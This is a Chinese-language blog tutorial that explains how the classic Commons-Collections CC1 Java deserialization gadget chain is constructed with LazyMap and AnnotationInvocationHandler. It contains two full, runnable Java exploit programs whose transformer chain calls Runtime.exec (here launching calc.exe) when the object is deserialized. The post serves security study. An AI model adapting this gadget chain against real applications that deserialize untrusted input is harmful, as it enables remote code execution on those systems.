Featured image of post 经典CC1链构造

经典CC1链构造

学习经典CC1链的构造逻辑

假设读者已经了解HashMap版非经典CC1链的构造原理。

如此提到了非经典版的CC1链,代表经典版CC1链和HashMap版有一定出入。

经典版CC1链使用的Map类为LazyMap而非HashMap

LazyMap类的整体声明如下

1
2
3
4
5
public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {
    ...
}

image-20240803131755395

整个Lazymaptransform()触发点只有在get()中有提到,get()方法的源代码如下

1
2
3
4
5
6
7
8
9
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

恰好,AnnotationInvocationHandler.invoke()get()的调用

1
2
3
4
5
6
    public Object invoke(Object proxy, Method method, Object[] args) {
		...
        // Handle annotation member accessors
        Object result = memberValues.get(member);
		...
    }

AnnotationInvocationHandler是一个继承了InvocationHandler接口的类,能够对某个对象进行代理,代理后被代理对象所以方法的触发都会被AnnotationInvocationHandler.invoke()拦截处理,恰如代理模式中动态代理的示例一般。

有了这些Knowledge,我们就可以轻易理解如下示例

简易经典版CC1链如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.dm.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class ClassicCC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class,
                Class[].class }, new Object[] { "getRuntime",
                new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class,
                Object[].class }, new Object[] { null, new
                Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class
            },
                new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        
        //获得代理对象
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
            Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
            construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)
            Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                handler);
        
        //将代理对象赋值给memberValues
        handler = (InvocationHandler)
            construct.newInstance(Retention.class, proxyMap);
        
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
            ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

39行修改TransformedMapLazyMap

41-49行获取代理对象

53-54行,因为代理对象无法进行反序列化,需要一个可序列化类,成员变量可控并且readObject()中调用过成员变量的方法,该成员变量可接受代理类对象,条件严苛,刚好AnnotationInvocationHandler也满足这个条件

如果存在一个类的成员变量可控并且readObject()中调用过成员变量的方法,该类可反序列化,那么同样也能触发

下列是例子

完整代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package org.dm.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class ClassicCC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class,
                Class[].class }, new Object[] { "getRuntime",
                new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class,
                Object[].class }, new Object[] { null, new
                Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class
            },
                new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        //
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
            Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
            construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)
            Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                handler);


//        handler = (InvocationHandler)
//            construct.newInstance(Retention.class, proxyMap);

        ClassicCC cc = new ClassicCC(proxyMap);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
//        oos.writeObject(handler);
        oos.writeObject(cc);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
            ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

class ClassicCC implements Serializable {
    private Map<String, Object> mm;

    public ClassicCC(Map<String, Object> mm){
        this.mm = mm;
    }

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        mm.clear();
    }

}

修改在55行和70-81行,第80行是触发函数。

但是这种办法依旧没法在高版本Java中利用。

LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject 中有没有setValue没任何关系(反驳某些文章不负责任的说法),关键还是和逻辑有关。

最后,高版本的Java遇到CommonCollections,到底如何解决呢?继续学习吧!!

Licensed under CC BY-NC-SA 4.0
Dan❤Anan
Built with Hugo
主题 StackJimmy 设计